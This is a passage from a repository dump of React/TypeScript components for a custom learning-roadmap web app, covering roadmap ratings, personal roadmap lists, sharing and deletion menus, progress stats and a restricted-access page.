e?.currentTarget as HTMLDivElement;\n    if (!target) {\n      return;\n    }\n\n    window.dispatchEvent(\n      new CustomEvent('roadmap.node.click', {\n        detail: {\n          topicId: node.id,\n          resourceId: roadmapId,\n          resourceType: 'roadmap',\n          isCustomResource: true,\n        },\n      }),\n    );\n  }, []);\n\n  const handleLinkClick = useCallback((linkId: string, href: string) => {\n    if (!href) {\n      return;\n    }\n\n    const isExternalLink = href.startsWith('http');\n    if (isExternalLink) {\n      window.open(href, '_blank');\n    } else {\n      window.location.href = href;\n    }\n  }, []);\n\n  const handleChecklistCheckboxClick = useCallback(\n    (e: MouseEvent, checklistId: string) => {\n      const target = e?.currentTarget as HTMLDivElement;\n      if (!target) {\n        return;\n      }\n\n      const isCurrentStatusDone = target?.classList.contains('done');\n      updateTopicStatus(checklistId, isCurrentStatusDone ? 'pending' : 'done');\n    },\n    [],\n  );\n\n  const handleChecklistLabelClick = useCallback(\n    (e: MouseEvent, checklistId: string) => {\n      const target = e?.currentTarget as HTMLDivElement;\n      if (!target) {\n        return;\n      }\n\n      const isCurrentStatusDone = target?.classList.contains('done');\n      updateTopicStatus(checklistId, isCurrentStatusDone ? 'pending' : 'done');\n    },\n    [],\n  );\n\n  return (\n    <>\n      {hideRenderer && (\n        <EmptyRoadmap\n          roadmapId={roadmapId}\n          canManage={roadmap.canManage || false}\n          className=\"grow\"\n        />\n      )}\n      <ReadonlyEditor\n        ref={editorWrapperRef}\n        roadmap={roadmap}\n        className={cn(\n          roadmap?.nodes?.length === 0\n            ? 'grow'\n            : 'min-h-0 max-md:min-h-[1000px]',\n        )}\n        onRendered={() => {\n          renderResourceProgress('roadmap', roadmapId).then(() => {\n            totalRoadmapNodes.set(\n              roadmap?.nodes?.filter((node) => {\n                return ['topic', 'subtopic'].includes(node.type);\n              }).length || 0,\n            );\n\n            if (roadmap?.nodes?.length === 0) {\n              setHideRenderer(true);\n              editorWrapperRef?.current?.classList.add('hidden');\n            }\n          });\n        }}\n        onTopicClick={handleTopicClick}\n        onTopicRightClick={handleTopicRightClick}\n        onTopicShiftClick={handleTopicShiftClick}\n        onTopicAltClick={handleTopicAltClick}\n        onButtonNodeClick={handleLinkClick}\n        onLinkClick={handleLinkClick}\n        onChecklistCheckboxClick={handleChecklistCheckboxClick}\n        onChecklistLableClick={handleChecklistLabelClick}\n        fontFamily=\"Balsamiq Sans\"\n        fontURL=\"/fonts/balsamiq.woff2\"\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/ListRoadmapRatings.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { httpGet } from '../../lib/http';\nimport { useToast } from '../../hooks/use-toast';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { Loader2, MessageCircle, ServerCrash } from 'lucide-react';\nimport { Rating } from '../Rating/Rating';\nimport { Spinner } from '../ReactIcons/Spinner.tsx';\nimport { getRelativeTimeString } from '../../lib/date.ts';\nimport { cn } from '../../lib/classname.ts';\nimport type { RoadmapDocument } from './CreateRoadmap/CreateRoadmapModal.tsx';\nimport { Pagination } from '../Pagination/Pagination.tsx';\n\nexport interface RoadmapRatingDocument {\n  _id?: string;\n  roadmapId: string;\n  userId: string;\n  rating: number;\n  feedback?: string;\n\n  createdAt: Date;\n  updatedAt: Date;\n}\n\ntype ListRoadmapRatingsResponse = {\n  data: (RoadmapRatingDocument & {\n    name: string;\n    avatar?: string;\n  })[];\n  totalCount: number;\n  totalPages: number;\n  currPage: number;\n  perPage: number;\n};\n\ntype ListRoadmapRatingsProps = {\n  roadmapSlug: string;\n  ratings: RoadmapDocument['ratings'];\n};\n\nexport function ListRoadmapRatings(props: ListRoadmapRatingsProps) {\n  const { roadmapSlug, ratings: ratingSummary } = props;\n\n  const totalWhoRated = Object.keys(ratingSummary.breakdown || {}).reduce(\n    (acc, key) => acc + ratingSummary.breakdown[key as any],\n    0,\n  );\n  const averageRating = ratingSummary.average;\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [error, setError] = useState('');\n  const [ratingsResponse, setRatingsResponse] =\n    useState<ListRoadmapRatingsResponse | null>(null);\n\n  const listRoadmapRatings = async (currPage: number = 1) => {\n    setIsLoading(true);\n\n    const { response, error } = await httpGet<ListRoadmapRatingsResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-list-roadmap-ratings/${roadmapSlug}`,\n      {\n        currPage,\n      },\n    );\n\n    if (!response || error) {\n      setError(error?.message || 'Something went wrong');\n      setIsLoading(false);\n      return;\n    }\n\n    setRatingsResponse(response);\n    setError('');\n    setIsLoading(false);\n  };\n\n  useEffect(() => {\n    if (!isLoggedIn()) {\n      return;\n    }\n\n    listRoadmapRatings().then();\n  }, []);\n\n  if (error) {\n    return (\n      <div className=\"flex flex-col items-center justify-center bg-white py-10\">\n        <ServerCrash className=\"size-12 text-red-500\" />\n        <p className=\"mt-3 text-lg text-red-500\">{error}</p>\n      </div>\n    );\n  }\n\n  const ratings = ratingsResponse?.data || [];\n\n  return (\n    <div className=\"relative min-h-[100px] overflow-auto rounded-lg bg-white p-2 md:max-h-[550px]\">\n      {isLoading && (\n        <div className=\"absolute inset-0 flex items-center justify-center\">\n          <Spinner isDualRing={false} />\n        </div>\n      )}\n\n      {!isLoading && ratings.length > 0 && (\n        <div className=\"relative\">\n          <div className=\"sticky top-1.5 mb-2 flex items-center justify-center gap-1 rounded-lg bg-yellow-50 px-2 py-1.5 text-sm text-yellow-900\">\n            <span>\n              Rated{' '}\n              <span className=\"font-medium\">{averageRating.toFixed(1)}</span>\n            </span>\n            <Rating starSize={15} rating={averageRating} readOnly />\n            by{' '}\n            <span className=\"font-medium\">\n              {totalWhoRated} user{totalWhoRated > 1 && 's'}\n            </span>\n          </div>\n\n          <div className=\"mb-3 flex flex-col\">\n            {ratings.map((rating) => {\n              const userAvatar = rating?.avatar\n                ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${rating.avatar}`\n                : '/img/default-avatar.png';\n\n              const isLastRating =\n                ratings[ratings.length - 1]._id === rating._id;\n\n              return (\n                <div\n                  key={rating._id}\n                  className={cn('px-2 py-2.5', {\n                    'border-b': !isLastRating,\n                  })}\n                >\n                  <div className=\"flex items-center justify-between\">\n                    <div className=\"flex items-center gap-1\">\n                      <img\n                        src={userAvatar}\n                        alt={rating.name}\n                        className=\"h-4 w-4 rounded-full\"\n                      />\n                      <span className=\"text-sm font-medium\">{rating.name}</span>\n                    </div>\n                    <span className=\"text-xs text-gray-400\">\n                      {getRelativeTimeString(rating.createdAt)}\n                    </span>\n                  </div>\n\n                  <div className=\"mt-2.5\">\n                    <Rating rating={rating.rating} readOnly />\n\n                    {rating.feedback && (\n                      <p className=\"mt-2 text-sm text-gray-500\">\n                        {rating.feedback}\n                      </p>\n                    )}\n                  </div>\n                </div>\n              );\n            })}\n          </div>\n\n          <Pagination\n            variant=\"minimal\"\n            totalCount={ratingsResponse?.totalCount || 1}\n            currPage={ratingsResponse?.currPage || 1}\n            totalPages={ratingsResponse?.totalPages || 1}\n            perPage={ratingsResponse?.perPage || 1}\n            onPageChange={(page) => {\n              listRoadmapRatings(page).then();\n            }}\n          />\n        </div>\n      )}\n\n      {!isLoading && ratings.length === 0 && (\n        <div className=\"flex flex-col items-center justify-center py-10\">\n          <MessageCircle className=\"size-12 text-gray-200\" />\n          <p className=\"mt-3 text-base text-gray-600\">No Feedbacks</p>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/PersonalRoadmapActionDropdown.tsx",
    "content": "import { useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { Lock, MoreVertical, Shapes, Trash2 } from 'lucide-react';\nimport { MoreVerticalIcon } from '../ReactIcons/MoreVerticalIcon.tsx';\n\ntype PersonalRoadmapActionDropdownProps = {\n  onDelete?: () => void;\n  onCustomize?: () => void;\n  onUpdateSharing?: () => void;\n};\n\nexport function PersonalRoadmapActionDropdown(\n  props: PersonalRoadmapActionDropdownProps,\n) {\n  const { onDelete, onUpdateSharing, onCustomize } = props;\n\n  const menuRef = useRef<HTMLDivElement>(null);\n  const [isOpen, setIsOpen] = useState(false);\n\n  useOutsideClick(menuRef, () => {\n    setIsOpen(false);\n  });\n\n  return (\n    <div className=\"relative\">\n      <button\n        disabled={false}\n        onClick={() => setIsOpen(!isOpen)}\n        className=\"hidden items-center opacity-60 transition-opacity hover:opacity-100 disabled:cursor-not-allowed disabled:opacity-30 sm:flex\"\n      >\n        <MoreVerticalIcon className={'h-4 w-4'} />\n      </button>\n\n      <button\n        disabled={false}\n        onClick={() => setIsOpen(!isOpen)}\n        className=\"flex items-center gap-1 rounded-md border border-gray-300 bg-white px-2 py-1.5 text-xs hover:bg-gray-50 focus:outline-hidden sm:hidden\"\n      >\n        <MoreVertical size={14} />\n        Options\n      </button>\n\n      {isOpen && (\n        <div\n          ref={menuRef}\n          className=\"align-right absolute right-auto top-full z-50 mt-1 w-[140px] rounded-md bg-slate-800 px-2 py-2 text-white shadow-md sm:right-0\"\n        >\n          <ul>\n            {onUpdateSharing && (\n              <li>\n                <button\n                  onClick={() => {\n                    setIsOpen(false);\n                    onUpdateSharing();\n                  }}\n                  className=\"flex w-full cursor-pointer items-center rounded-sm p-2 text-sm font-medium text-slate-100 hover:bg-slate-700\"\n                >\n                  <Lock size={14} className=\"mr-2\" />\n                  Sharing\n                </button>\n              </li>\n            )}\n            {onCustomize && (\n              <li>\n                <button\n                  onClick={() => {\n                    setIsOpen(false);\n                    onCustomize();\n                  }}\n                  className=\"flex w-full cursor-pointer items-center rounded-sm p-2 text-sm font-medium text-slate-100 hover:bg-slate-700\"\n                >\n                  <Shapes size={14} className=\"mr-2\" />\n                  Customize\n                </button>\n              </li>\n            )}\n            {onDelete && (\n              <li>\n                <button\n                  onClick={() => {\n                    setIsOpen(false);\n                    onDelete();\n                  }}\n                  className=\"flex w-full cursor-pointer items-center rounded-sm p-2 text-sm font-medium text-slate-100 hover:bg-slate-700\"\n                >\n                  <Trash2 size={14} className=\"mr-2\" />\n                  Delete\n                </button>\n              </li>\n            )}\n          </ul>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/PersonalRoadmapList.tsx",
    "content": "import { httpDelete } from '../../lib/http';\nimport { pageProgressMessage } from '../../stores/page';\nimport {\n  ExternalLink,\n  Shapes,\n  type LucideIcon,\n  Globe,\n  LockIcon,\n  Users,\n  PenSquare,\n} from 'lucide-react';\nimport { useToast } from '../../hooks/use-toast';\nimport {\n  type AllowedRoadmapVisibility,\n  type RoadmapDocument,\n} from './CreateRoadmap/CreateRoadmapModal';\nimport { PersonalRoadmapActionDropdown } from './PersonalRoadmapActionDropdown';\nimport type { GetRoadmapListResponse } from './RoadmapListPage';\nimport { useState, type Dispatch, type SetStateAction } from 'react';\nimport { ShareOptionsModal } from '../ShareOptions/ShareOptionsModal';\nimport { RoadmapIcon } from '../ReactIcons/RoadmapIcon.tsx';\n\ntype PersonalRoadmapListType = {\n  roadmaps: GetRoadmapListResponse['personalRoadmaps'];\n  onDelete: (roadmapId: string) => void;\n  onUpgrade: () => void;\n  setAllRoadmaps: Dispatch<SetStateAction<GetRoadmapListResponse>>;\n  maxLimit?: number;\n};\n\nexport function PersonalRoadmapList(props: PersonalRoadmapListType) {\n  const {\n    roadmaps: roadmapList,\n    onDelete,\n    setAllRoadmaps,\n    onUpgrade,\n    maxLimit = -1,\n  } = props;\n\n  const toast = useToast();\n\n  const [selectedRoadmap, setSelectedRoadmap] = useState<\n    GetRoadmapListResponse['personalRoadmaps'][number] | null\n  >(null);\n\n  async function deleteRoadmap(roadmapId: string) {\n    const { response, error } = await httpDelete<RoadmapDocument[]>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-delete-roadmap/${roadmapId}`,\n    );\n\n    if (error || !response) {\n      console.error(error);\n      toast.error(error?.message || 'Something went wrong, please try again');\n\n      return;\n    }\n\n    toast.success('Roadmap deleted');\n    onDelete(roadmapId);\n  }\n\n  async function onRemove(roadmapId: string) {\n    pageProgressMessage.set('Deleting roadmap');\n\n    deleteRoadmap(roadmapId).finally(() => {\n      pageProgressMessage.set('');\n    });\n  }\n\n  const shareSettingsModal = selectedRoadmap && (\n    <ShareOptionsModal\n      roadmapSlug={selectedRoadmap?.slug}\n      isDiscoverable={selectedRoadmap.isDiscoverable}\n      description={selectedRoadmap.description}\n      visibility={selectedRoadmap.visibility}\n      sharedFriendIds={selectedRoadmap.sharedFriendIds}\n      sharedTeamMemberIds={selectedRoadmap.sharedTeamMemberIds}\n      roadmapId={selectedRoadmap._id!}\n      onClose={() => setSelectedRoadmap(null)}\n      onShareSettingsUpdate={(settings) => {\n        setAllRoadmaps((prev) => {\n          return {\n            ...prev,\n            personalRoadmaps: prev.personalRoadmaps.map((roadmap) => {\n              if (roadmap._id === selectedRoadmap._id) {\n                return {\n                  ...roadmap,\n                  ...settings,\n                };\n              }\n\n              return roadmap;\n            }),\n          };\n        });\n      }}\n    />\n  );\n\n  if (roadmapList.length === 0) {\n    return (\n      <div className=\"flex flex-col items-center p-4 py-20\">\n        <RoadmapIcon className=\"mb-4 h-24 w-24 opacity-10\" />\n\n        <h3 className=\"mb-1 text-2xl font-bold text-gray-900\">No roadmaps</h3>\n        <p className=\"text-base text-gray-500\">\n          Create a roadmap to get started\n        </p>\n      </div>\n    );\n  }\n\n  return (\n    <div>\n      {shareSettingsModal}\n      <div className=\"mb-3 flex items-center text-sm text-gray-400\">\n        {maxLimit === -1 && <>{roadmapList.length} custom roadmap(s)</>}\n        {maxLimit !== -1 && (\n          <>\n            {roadmapList.length} of {maxLimit} roadmaps{' '}\n            <button\n              onClick={onUpgrade}\n              className=\"ml-2 text-blue-600 underline underline-offset-2 hover:text-blue-700\"\n            >\n              Need more? Upgrade\n            </button>\n          </>\n        )}\n      </div>\n      <ul className=\"flex flex-col divide-y rounded-md border\">\n        {roadmapList.map((roadmap) => {\n          return (\n            <CustomRoadmapItem\n              key={roadmap._id!}\n              roadmap={roadmap}\n              onRemove={onRemove}\n              setSelectedRoadmap={setSelectedRoadmap}\n            />\n          );\n        })}\n      </ul>\n    </div>\n  );\n}\n\ntype CustomRoadmapItemProps = {\n  roadmap: GetRoadmapListResponse['personalRoadmaps'][number];\n  onRemove: (roadmapId: string) => Promise<void>;\n  setSelectedRoadmap: (\n    roadmap: GetRoadmapListResponse['personalRoadmaps'][number] | null,\n  ) => void;\n};\n\nfunction CustomRoadmapItem(props: CustomRoadmapItemProps) {\n  const { roadmap, onRemove, setSelectedRoadmap } = props;\n\n  const editorLink = `${import.meta.env.PUBLIC_EDITOR_APP_URL}/${roadmap._id}`;\n\n  return (\n    <li\n      className=\"grid grid-cols-1 p-2.5 sm:grid-cols-[auto_172px]\"\n      key={roadmap._id!}\n    >\n      <div className=\"mb-3 grid grid-cols-1 sm:mb-0\">\n        <p className=\"mb-1.5 truncate text-base leading-tight font-medium text-black\">\n          {roadmap.title}\n        </p>\n        <span className=\"flex items-center text-xs leading-none text-gray-400\">\n          <VisibilityBadge\n            visibility={roadmap.visibility!}\n            sharedFriendIds={roadmap.sharedFriendIds}\n          />\n          <span className=\"mx-2 font-semibold\">&middot;</span>\n          <Shapes size={16} className=\"mr-1 inline-block h-4 w-4\" />\n          {roadmap.topics} topic\n        </span>\n      </div>\n      <div className=\"mr-1 flex items-center justify-start sm:justify-end\">\n        <PersonalRoadmapActionDropdown\n          onUpdateSharing={() => {\n            setSelectedRoadmap(roadmap);\n          }}\n          onCustomize={() => {\n            window.open(editorLink, '_blank');\n          }}\n          onDelete={() => {\n            if (confirm('Are you sure you want to remove this roadmap?')) {\n              onRemove(roadmap._id!).finally(() => {});\n            }\n          }}\n        />\n\n        <a\n          href={editorLink}\n          className={\n            'ml-2 flex items-center gap-2 rounded-md border border-gray-300 bg-white px-2.5 py-1.5 text-xs text-black hover:bg-gray-50 focus:outline-hidden'\n          }\n          target={'_blank'}\n        >\n          <PenSquare className=\"inline-block h-4 w-4\" />\n          Edit\n        </a>\n        <a\n          href={`/r/${roadmap?.slug}`}\n          className={\n            'ml-2 flex items-center gap-2 rounded-md border border-blue-400 bg-white px-2 py-1.5 text-xs text-blue-600 hover:bg-blue-50 focus:outline-hidden'\n          }\n          target={'_blank'}\n        >\n          <ExternalLink className=\"inline-block h-4 w-4\" />\n          Visit\n        </a>\n      </div>\n    </li>\n  );\n}\n\ntype VisibilityLabelProps = {\n  visibility: AllowedRoadmapVisibility;\n  sharedFriendIds?: string[];\n};\n\nconst visibilityDetails: Record<\n  AllowedRoadmapVisibility,\n  {\n    icon: LucideIcon;\n    label: string;\n  }\n> = {\n  public: {\n    icon: Globe,\n    label: 'Public',\n  },\n  me: {\n    icon: LockIcon,\n    label: 'Only me',\n  },\n  team: {\n    icon: Users,\n    label: 'Team Member(s)',\n  },\n  friends: {\n    icon: Users,\n    label: 'Friend(s)',\n  },\n} as const;\n\nfunction VisibilityBadge(props: VisibilityLabelProps) {\n  const { visibility, sharedFriendIds = [] } = props;\n\n  const { label, icon: Icon } = visibilityDetails[visibility];\n\n  return (\n    <span\n      className={`inline-flex items-center gap-1.5 text-xs font-normal whitespace-nowrap`}\n    >\n      <Icon className=\"inline-block h-3 w-3\" />\n      <div className=\"flex items-center\">\n        {visibility === 'friends' && sharedFriendIds?.length > 0 && (\n          <span className=\"mr-1\">{sharedFriendIds.length}</span>\n        )}\n        {label}\n      </div>\n    </span>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/RateRoadmapForm.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport type { RoadmapDocument } from './CreateRoadmap/CreateRoadmapModal';\nimport { formatCommaNumber } from '../../lib/number';\nimport { Rating } from '../Rating/Rating';\nimport { httpGet, httpPost } from '../../lib/http';\nimport { useToast } from '../../hooks/use-toast';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { Loader2, Star } from 'lucide-react';\nimport { cn } from '../../lib/classname';\nimport { showLoginPopup } from '../../lib/popup';\nimport { Spinner } from '../ReactIcons/Spinner.tsx';\n\ntype GetMyRoadmapRatingResponse = {\n  id?: string;\n  rating: number;\n  feedback?: string;\n};\n\ntype RateRoadmapFormProps = {\n  ratings: RoadmapDocument['ratings'];\n  roadmapSlug: string;\n  canManage?: boolean;\n};\n\nexport function RateRoadmapForm(props: RateRoadmapFormProps) {\n  const { ratings, canManage = false, roadmapSlug } = props;\n  const { breakdown = {}, average: _average } = ratings || {};\n  const average = _average || 0;\n\n  const ratingsKeys = [5, 4, 3, 2, 1];\n  const totalRatings = ratingsKeys.reduce(\n    (total, rating) => total + breakdown?.[rating] || 0,\n    0,\n  );\n\n  // if no rating then only show the ratings breakdown if the user can manage the roadmap\n  const showRatingsBreakdown = average > 0 || canManage;\n\n  const toast = useToast();\n  const [isLoading, setIsLoading] = useState(true);\n  const [isSubmitting, setIsSubmitting] = useState(false);\n\n  const [isRatingRoadmap, setIsRatingRoadmap] = useState(!showRatingsBreakdown);\n  const [userRatingId, setUserRatingId] = useState<string | undefined>();\n  const [userRating, setUserRating] = useState(0);\n  const [userFeedback, setUserFeedback] = useState('');\n\n  const loadMyRoadmapRating = async () => {\n    // user can't have the rating for their own roadmap\n    if (canManage) {\n      setIsLoading(false);\n      return;\n    }\n\n    const { response, error } = await httpGet<GetMyRoadmapRatingResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-my-roadmap-rating/${roadmapSlug}`,\n    );\n\n    if (!response || error) {\n      toast.error(error?.message || 'Something went wrong');\n      setIsLoading(false);\n      return;\n    }\n\n    setUserRatingId(response?.id);\n    setUserRating(response?.rating);\n    setUserFeedback(response?.feedback || '');\n    setIsLoading(false);\n  };\n\n  const submitMyRoadmapRating = async () => {\n    if (userRating <= 0) {\n      toast.error('At least give it a star');\n      return;\n    }\n\n    setIsSubmitting(true);\n    const path = userRatingId\n      ? 'v1-update-custom-roadmap-rating'\n      : 'v1-rate-custom-roadmap';\n    const { response, error } = await httpPost<{\n      id: string;\n    }>(`${import.meta.env.PUBLIC_API_URL}/${path}/${roadmapSlug}`, {\n      rating: userRating,\n      feedback: userFeedback,\n    });\n\n    if (!response || error) {\n      toast.error(error?.message || 'Something went wrong');\n      setIsSubmitting(false);\n      return;\n    }\n\n    window.location.reload();\n  };\n\n  useEffect(() => {\n    if (!isLoggedIn() || !roadmapSlug) {\n      setIsLoading(false);\n      return;\n    }\n\n    loadMyRoadmapRating().then();\n  }, [roadmapSlug]);\n\n  return (\n    <div className=\"flex flex-col gap-3\">\n      {showRatingsBreakdown && !isRatingRoadmap && (\n        <>\n          <ul className=\"flex flex-col gap-1 rounded-lg bg-white p-5\">\n            {ratingsKeys.map((rating) => {\n              const percentage =\n                totalRatings <= 0\n                  ? 0\n                  : ((breakdown?.[rating] || 0) / totalRatings) * 100;\n\n              return (\n                <li\n                  key={`rating-${rating}`}\n                  className=\"flex items-center gap-2 text-sm\"\n                >\n                  <span className=\"shrink-0\">{rating} star</span>\n                  <div className=\"relative h-8 w-full overflow-hidden rounded-md border\">\n                    <div\n                      className=\"h-full bg-yellow-300\"\n                      style={{ width: `${percentage}%` }}\n                    ></div>\n\n                    {percentage > 0 && (\n                      <span className=\"absolute right-3 top-1/2 flex -translate-y-1/2 items-center justify-center text-xs text-black\">\n                        {formatCommaNumber(breakdown?.[rating] || 0)}\n                      </span>\n                    )}\n                  </div>\n\n                  <span className=\"w-[35px] shrink-0 text-xs text-gray-500\">\n                    {parseInt(`${percentage}`, 10)}%\n                  </span>\n                </li>\n              );\n            })}\n          </ul>\n        </>\n      )}\n\n      {!canManage && !isRatingRoadmap && (\n        <div className=\"relative min-h-[100px] rounded-lg bg-white p-4\">\n          {isLoading && (\n            <div className=\"absolute inset-0 flex items-center justify-center\">\n              <Spinner isDualRing={false} className=\"h-5 w-5\" />\n            </div>\n          )}\n\n          {!isLoading && !isRatingRoadmap && !userRatingId && (\n            <>\n              <p className=\"mb-2 text-center text-sm font-medium\">\n                Rate and share your thoughts with the roadmap creator.\n              </p>\n              <button\n                className=\"flex h-10 w-full items-center justify-center rounded-full bg-black p-2.5 text-sm font-medium text-white disabled:opacity-60\"\n                onClick={() => {\n                  if (!isLoggedIn()) {\n                    showLoginPopup();\n                    return;\n                  }\n\n                  setIsRatingRoadmap(true);\n                }}\n                disabled={isLoading}\n              >\n                {isLoading ? (\n                  <Loader2 className=\"size-4 animate-spin\" />\n                ) : (\n                  'Rate Roadmap'\n                )}\n              </button>\n            </>\n          )}\n\n          {!isLoading && !isRatingRoadmap && userRatingId && (\n            <div>\n              <h3 className=\"mb-2.5 flex items-center justify-between text-base font-semibold\">\n                Your Feedback\n                <button\n                  className=\"ml-2 text-sm font-medium text-blue-500 underline underline-offset-2\"\n                  onClick={() => {\n                    setIsRatingRoadmap(true);\n                  }}\n                >\n                  Edit Rating\n                </button>\n              </h3>\n              <div className=\"flex items-center gap-2\">\n                <Rating rating={userRating} starSize={19} readOnly /> (\n                {userRating})\n              </div>\n              {userFeedback && <p className=\"mt-2 text-sm\">{userFeedback}</p>}\n            </div>\n          )}\n        </div>\n      )}\n\n      {!canManage && isRatingRoadmap && (\n        <div className=\"rounded-lg bg-white p-5\">\n          <h3 className=\"font-semibold\">Rate this roadmap</h3>\n          <p className=\"mt-1 text-sm\">\n            Share your thoughts with the roadmap creator.\n          </p>\n\n          <form\n            className=\"mt-4\"\n            onSubmit={(e) => {\n              e.preventDefault();\n              submitMyRoadmapRating().then();\n            }}\n          >\n            <Rating\n              rating={userRating}\n              onRatingChange={(rating) => {\n                setUserRating(rating);\n              }}\n              starSize={32}\n            />\n            <div className=\"mt-3 flex flex-col gap-1\">\n              <label\n                htmlFor=\"rating-feedback\"\n                className=\"block text-sm font-medium\"\n              >\n                Feedback to Creator{' '}\n                <span className=\"font-normal text-gray-400\">(Optional)</span>\n              </label>\n              <textarea\n                id=\"rating-feedback\"\n                className=\"min-h-24 rounded-md border p-2 text-sm outline-hidden focus:border-gray-500\"\n                placeholder=\"Share your thoughts with the roadmap creator\"\n                value={userFeedback}\n                onChange={(e) => {\n                  setUserFeedback(e.target.value);\n                }}\n              />\n            </div>\n\n            <div className={cn('mt-4 grid grid-cols-2 gap-1')}>\n              <button\n                className=\"h-10 w-full rounded-full border p-2.5 text-sm font-medium disabled:opacity-60\"\n                onClick={() => {\n                  setIsRatingRoadmap(false);\n                }}\n                type=\"button\"\n                disabled={isSubmitting}\n              >\n                Cancel\n              </button>\n              <button\n                className=\"flex h-10 w-full items-center justify-center rounded-full bg-black p-2.5 text-sm font-medium text-white disabled:opacity-60\"\n                type=\"submit\"\n                disabled={isSubmitting}\n              >\n                {isSubmitting ? (\n                  <Loader2 className=\"size-4 animate-spin\" />\n                ) : userRatingId ? (\n                  'Update Rating'\n                ) : (\n                  'Submit Rating'\n                )}\n              </button>\n            </div>\n          </form>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/ResourceProgressStats.tsx",
    "content": "import { HelpCircle } from 'lucide-react';\nimport { cn } from '../../lib/classname';\nimport type { ResourceType } from '../../lib/resource-progress';\nimport { useState } from 'react';\nimport { useStore } from '@nanostores/react';\nimport { canManageCurrentRoadmap, currentRoadmap } from '../../stores/roadmap';\nimport { ShareOptionsModal } from '../ShareOptions/ShareOptionsModal';\n\ntype ResourceProgressStatsProps = {\n  resourceId: string;\n  resourceType: ResourceType;\n  isSecondaryBanner?: boolean;\n};\n\nexport function ResourceProgressStats(props: ResourceProgressStatsProps) {\n  const { isSecondaryBanner = false } = props;\n\n  const [isSharing, setIsSharing] = useState(false);\n\n  const $canManageCurrentRoadmap = useStore(canManageCurrentRoadmap);\n  const $currentRoadmap = useStore(currentRoadmap);\n\n  return (\n    <>\n      {isSharing && $canManageCurrentRoadmap && $currentRoadmap && (\n        <ShareOptionsModal\n          roadmapSlug={$currentRoadmap?.slug}\n          isDiscoverable={$currentRoadmap.isDiscoverable}\n          description={$currentRoadmap?.description}\n          visibility={$currentRoadmap?.visibility}\n          teamId={$currentRoadmap?.teamId}\n          roadmapId={$currentRoadmap?._id!}\n          sharedFriendIds={$currentRoadmap?.sharedFriendIds || []}\n          sharedTeamMemberIds={$currentRoadmap?.sharedTeamMemberIds || []}\n          onClose={() => setIsSharing(false)}\n          onShareSettingsUpdate={(settings) => {\n            currentRoadmap.set({\n              ...$currentRoadmap,\n              ...settings,\n            });\n          }}\n        />\n      )}\n      <div\n        data-progress-nums-container=\"\"\n        className={cn(\n          'striped-loader relative z-50 hidden items-center justify-between bg-white px-2 py-1.5 sm:flex',\n          {\n            'rounded-bl-md rounded-br-md': isSecondaryBanner,\n            'rounded-md': !isSecondaryBanner,\n          },\n        )}\n      >\n        <p\n          className=\"flex text-sm opacity-0 transition-opacity duration-300\"\n          data-progress-nums=\"\"\n        >\n          <span className=\"mr-2.5 rounded-xs bg-yellow-200 px-1 py-0.5 text-xs font-medium uppercase text-yellow-900\">\n            <span data-progress-percentage=\"\">0</span>% Done\n          </span>\n\n          <span className=\"itesm-center hidden md:flex\">\n            <span>\n              <span data-progress-done=\"\">0</span> completed\n            </span>\n            <span className=\"mx-1.5 text-gray-400\">&middot;</span>\n            <span>\n              <span data-progress-learning=\"\">0</span> in progress\n            </span>\n            <span className=\"mx-1.5 text-gray-400\">&middot;</span>\n            <span>\n              <span data-progress-skipped=\"\">0</span> skipped\n            </span>\n            <span className=\"mx-1.5 text-gray-400\">&middot;</span>\n            <span>\n              <span data-progress-total=\"\">0</span> Total\n            </span>\n          </span>\n          <span className=\"md:hidden\">\n            <span data-progress-done=\"\">0</span> of{' '}\n            <span data-progress-total=\"\">0</span> Done\n          </span>\n        </p>\n\n        <div\n          className=\"flex items-center gap-3 opacity-0 transition-opacity duration-300\"\n          data-progress-nums=\"\"\n        >\n          <button\n            data-popup=\"progress-help\"\n            className=\"flex items-center gap-1 text-sm font-medium text-gray-500 opacity-0 transition-opacity hover:text-black\"\n            data-progress-nums=\"\"\n          >\n            <HelpCircle className=\"h-3.5 w-3.5 stroke-[2.5px]\" />\n            Track Progress\n          </button>\n        </div>\n      </div>\n\n      <div\n        data-progress-nums-container=\"\"\n        className=\"striped-loader relative -mb-2 flex items-center justify-between rounded-md border bg-white px-2 py-1.5 text-sm text-gray-700 sm:hidden\"\n      >\n        <span\n          data-progress-nums=\"\"\n          className=\"text-gray-500 opacity-0 transition-opacity duration-300\"\n        >\n          <span data-progress-done=\"\">0</span> of{' '}\n          <span data-progress-total=\"\">0</span> Done\n        </span>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/RestrictedPage.tsx",
    "content": "import { ShieldBan } from 'lucide-react';\nimport type { FetchError } from '../../lib/http';\n\ntype RestrictedPageProps = {\n  error: FetchError;\n};\n\nexport function RestrictedPage(props: RestrictedPageProps) {\n  const { error } = props;\n\n  if (error.status === 404) {\n    return (\n      <ErrorMessage\n        icon={<ShieldBan className=\"h-16 w-16\" />}\n        title=\"Roadmap not found\"\n        message=\"The roadmap you are looking for does not exist or has been deleted.\"\n      />\n    );\n  }\n\n  return (\n    <ErrorMessage\n      icon={<ShieldBan className=\"h-16 w-16\" />}\n      title=\"Restricted Access\"\n      message={error?.message}\n    />\n  );\n}\n\ntype ErrorMessageProps = {\n  title: string;\n  message: string;\n  icon: React.ReactNode;\n};\n\nfunction ErrorMessage(props: ErrorMessageProps) {\n  const { title, message, icon } = props;\n  return (\n    <div className=\"flex grow flex-col items-center justify-center\">\n      {icon}\n      <h2 className=\"mt-4 text-2xl font-semibold\">{title}</h2>\n      <p>{message || 'This roadmap is not available for public access.'}</p>\n\n      <a\n        